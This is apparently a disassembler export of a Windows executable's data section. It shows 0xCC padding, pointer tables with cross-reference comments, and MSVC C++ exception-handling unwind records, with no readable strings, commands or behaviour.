		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 3E3h	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset byte_4367D0	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409AE0+4o
					; sub_409B40+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40ADC0+2o
					; sub_40AE10+1Co
		dd offset byte_4367D0
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B118o
					; sub_40B170+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B7C6r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F600+157o
					; sub_40FDA0+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F600+142o
					; sub_40FDA0+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_411860+36o
					; sub_411910+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041318Do
					; sub_413220+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416C00+6o
					; sub_417DF0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416C60+6o
					; sub_417E20+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416CC0o sub_41FBD0+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416D10o
					; sub_4190B0+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417BC0+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417C60+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417D30+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417E50+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417F10+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418080+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_418100+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418180+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_4181B0+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_418230+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418260+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418290+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_4198C0+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A010+Bo
					; sub_41A110+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B3A2o
					; ___:0041B48Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D670+77o
					; sub_41D760+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_426450+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_4264C0+6Ao
					; sub_426560+1Do
		dd offset sub_401A64
		dd offset byte_4367D0
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_4269A0+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426EB0+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427590+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427DC0+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427E30+7Ao
					; sub_427EF0+1Do
		dd offset sub_4021A8
		dd offset byte_4367D0
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428160+4Bo
					; sub_428250+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_4299C0+32o
					; sub_429A60+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D00+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A090+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B1D0+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset byte_4367D0	; DATA XREF: sub_42B240+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B312o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B480+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_436811	; DATA XREF: ___:00436808o
					; ___:off_4438B0o ...
		dd 0FFFFFFFFh, 436BACh,	436BC0h, 4Dh dup(0)
off_43E318	dd offset off_446CD0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CD0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437B2Ch,	0
		dd offset dword_436FD0+0B30h
		dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437B70h,	0
		dd offset loc_437B7B
		dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
		dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
		dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h,	0Dh, 437C2Eh, 0Eh
		dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h,	11h, 437C66h, 12h
		dd 437C74h, 13h, 437C82h, 14h, 437C90h,	15h, 437C9Eh, 16h
		dd 437CACh, 17h, 437CBAh, 18h, 437CC8h,	19h, 437CD6h, 1Ah
		dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h,	1Dh, 437D0Eh, 1Eh
		dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h,	21h, 437D46h, 22h
		dd 437D54h, 23h, 437D62h, 24h, 437D70h,	25h, 437D7Eh, 26h
		dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h,	29h, 437DB6h, 2Ah
		dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h,	2Dh, 437DEEh, 2Eh
		dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h,	31h, 437E26h, 32h
		dd 437E34h, 33h, 437E42h, 34h, 437E50h,	35h, 437E5Eh, 36h
		dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h,	39h, 437E96h, 3Ah
		dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 437FA0h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 437FC0h,	0
		dd offset loc_437FC8
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 437FF0h,	0
		dd offset loc_437FF8
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 438020h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 438040h,	0
		dd offset loc_438048
		dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 4380C0h,	0
		dd offset loc_4380C8
		dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 438140h,	0FFFFFFFFh, 438148h, 0FFFFFFFFh
		dd 438150h, 0FFFFFFFFh,	438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
		dd 438168h, 0FFFFFFFFh,	438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
		dd 438180h, 0FFFFFFFFh,	438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
		dd 438198h, 0FFFFFFFFh,	4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
		dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438200h,	0
		dd offset loc_438208
		dd 0FFFFFFFFh, 438210h,	2, 438218h, 0FFFFFFFFh,	438220h
		dd 0FFFFFFFFh, 438228h,	0FFFFFFFFh, 438230h, 0FFFFFFFFh
		dd 438238h, 7, 438243h,	7, 43824Bh, 9, 438253h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438280h,	0
		dd offset loc_43828B
		dd 0
		dd offset loc_438296
		dd 0FFFFFFFFh, 4382A1h,	0FFFFFFFFh, 4382ACh, 4,	4382B7h
		dd 0FFFFFFFFh, 4382C2h,	6, 4382CDh, 6, 4382D8h,	8, 4382E3h
		dd 0FFFFFFFFh, 4382EEh,	0Ah, 4382F9h, 0Ah, 438304h, 0Ah
		dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h,	0Ah, 438330h, 0FFFFFFFFh
		dd 43833Bh, 11h, 438346h, 11h, 438351h,	0FFFFFFFFh, 43835Ch
		dd 0FFFFFFFFh, 438367h,	15h, 438372h, 0FFFFFFFFh, 43837Dh
		dd 0FFFFFFFFh, 438388h,	18h, 438393h, 0FFFFFFFFh, 43839Eh
		dd 0FFFFFFFFh, 4383A9h,	0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
		dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h,	1Dh, 4383E0h, 1Dh
		dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h,	22h, 43840Ch, 22h
		dd 438417h, 22h, 438422h, 22h, 43842Dh,	22h, 438438h, 22h
		dd 438443h, 22h, 43844Eh, 22h, 438459h,	22h, 438464h, 22h
		dd 43846Fh, 22h, 43847Ah, 22h, 438485h,	22h, 438490h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 438538h,	0
		dd offset loc_438530
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)		dd 0FFFFFFFFh, 43857Bh,	0
		dd offset loc_438570
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 4385B0h,	0
		dd offset loc_4385BB
		dd 0
		dd offset loc_4385C6
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 4385F0h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 438610h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 438630h,	0
		dd offset loc_438638
		align 10h
dword_43ECF0	dd 19930520h, 56h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 438650h,	0
		dd offset loc_43865B
		dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
		dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
		dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h,	0Dh, 4386DEh, 0Eh
		dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh,	11h, 43870Ah, 12h
		dd 438715h, 13h, 438720h, 14h, 43872Bh,	15h, 438736h, 16h
		dd 438741h, 17h, 43874Ch, 18h, 438757h,	19h, 438762h, 1Ah
		dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h,	1Dh, 43878Eh, 1Eh
		dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh,	1Eh, 4387BAh, 1Eh
		dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh,	1Eh, 4387E6h, 1Eh
		dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh,	1Eh, 438807h, 2Ah
		dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh,	2Dh, 438828h, 1Eh
		dd 438828h, 1Eh, 438833h, 30h, 43883Eh,	1Eh, 43883Eh, 1Eh
		dd 438849h, 33h, 438854h, 1Eh, 438854h,	1Eh, 43885Fh, 36h
		dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h,	39h, 438880h, 1Eh
		dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h,	1Eh, 438896h, 1Eh
		dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh,	1Eh, 4388B7h, 42h
		dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh,	45h, 4388D8h, 1Eh
		dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh,	1Eh, 4388EEh, 1Eh
		dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h,	1Eh, 43890Fh, 4Eh
		dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h,	51h, 438930h, 52h
		dd 43893Bh, 53h, 438946h, 54h, 438951h,	13h dup(0)
		dd offset off_4438B0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436800h, 2 dup(0)
		dd offset off_4438D0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C2Ah, 2 dup(0)
		dd offset off_4438F8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C30h, 0
dword_43F068	dd 3, 43F048h, 43F028h,	43F008h, 2 dup(0)dword_43F080	dd 0							; ___:0040A997o
		dd offset dword_436BD4+62h
		dd 0
		dd offset dword_43F068
		dd 2 dup(0)
dword_43F098	dd 19930520h, 1, 43F0B8h, 5 dup(0)		dd 0FFFFFFFFh, 438A30h,	2 dup(0)
dword_43F0C8	dd 19930520h, 1, 43F0E8h, 5 dup(0)		dd 0FFFFFFFFh, 438A50h,	2 dup(0)
dword_43F0F8	dd 19930520h, 3, 43F118h, 5 dup(0)		dd 0FFFFFFFFh, 438A70h,	0
		dd offset loc_438A87
		dd 1, 438A8Fh, 2 dup(0)
dword_43F138	dd 19930520h, 1, 43F158h, 5 dup(0)		dd 0FFFFFFFFh, 438AB0h,	2 dup(0)
dword_43F168	dd 19930520h, 2, 43F188h, 1, 43F198h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B0h, 4	dup(0)
		dd offset sub_40AE52
		dd 2 dup(0)
dword_43F1C8	dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F210h, 4	dup(0)
		dd offset sub_40AFD1
		dd 2 dup(0)
dword_43F228	dd 19930520h, 4, 43F248h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	0
		dd offset loc_438AFB
		dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270	dd 19930520h, 4, 43F290h, 5 dup(0)		dd 0FFFFFFFFh, 438B40h,	0
		dd offset loc_438B4B
		dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8	dd 19930520h, 3, 43F2D8h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0FFFFFFFFh, 438B98h, 0FFFFFFFFh
		dd 438BA0h, 2 dup(0)
dword_43F2F8	dd 19930520h, 3, 43F318h, 5 dup(0)		dd 0FFFFFFFFh, 438BC0h,	0
		dd offset loc_438BC8
		dd 1, 438BD0h, 2 dup(0)
dword_43F338	dd 19930520h, 1, 43F358h, 5 dup(0)		dd 0FFFFFFFFh, 438BF0h,	2 dup(0)
dword_43F368	dd 19930520h, 4, 43F388h, 5 dup(0)		dd 0FFFFFFFFh, 438C10h,	0FFFFFFFFh, 438C18h, 0FFFFFFFFh
		dd 438C20h, 2, 438C28h,	2 dup(0)
dword_43F3B0	dd 19930520h, 1, 43F3D0h, 5 dup(0)		dd 0FFFFFFFFh, 438C50h,	2 dup(0)
dword_43F3E0	dd 19930520h, 4, 43F400h, 5 dup(0)		dd 0FFFFFFFFh, 438C70h,	0
		dd offset loc_438C7B
		dd 0
		dd offset loc_438C86
		dd 2, 438C91h, 2 dup(0)
dword_43F428	dd 19930520h, 1, 43F448h, 5 dup(0)		dd 0FFFFFFFFh, 438CC0h,	2 dup(0)
dword_43F458	dd 19930520h, 5, 43F478h, 5 dup(0)		dd 0FFFFFFFFh, 438CE0h,	0
		dd offset loc_438CEB
		dd 0
		dd offset loc_438CF6
		dd 0
		dd offset loc_438D01
		dd 0
		dd offset loc_438D0C
		dd 2 dup(0)
dword_43F4A8	dd 19930520h, 2, 43F4C8h, 5 dup(0)		dd 0FFFFFFFFh, 438D40h,	0
		dd offset loc_438D4B
		align 10h
dword_43F4E0	dd 19930520h, 2, 43F500h, 5 dup(0)		dd 0FFFFFFFFh, 438D70h,	0
		dd offset loc_438D7B
		dd 2 dup(0)
dword_43F518	dd 19930520h, 4, 43F538h, 5 dup(0)		dd 0FFFFFFFFh, 438DA0h,	0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
		dd 438DB0h, 0FFFFFFFFh,	438DB8h, 2 dup(0)
dword_43F560	dd 19930520h, 8, 43F580h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
		dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0	dd 19930520h, 0Dh, 43F5F0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0FFFFFFFFh, 438E6Bh, 1,	438E76h
		dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
		dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
		dd 438EE4h, 4 dup(0)
dword_43F668	dd 19930520h, 6, 43F688h, 5 dup(0)		dd 0FFFFFFFFh, 438F20h,	0
		dd offset loc_438F28
		dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0	dd 19930520h, 6, 43F6E0h, 5 dup(0)		dd 0FFFFFFFFh, 438F70h,	0
		dd offset loc_438F78
		dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718	dd 19930520h, 3, 43F738h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2 dup(0)
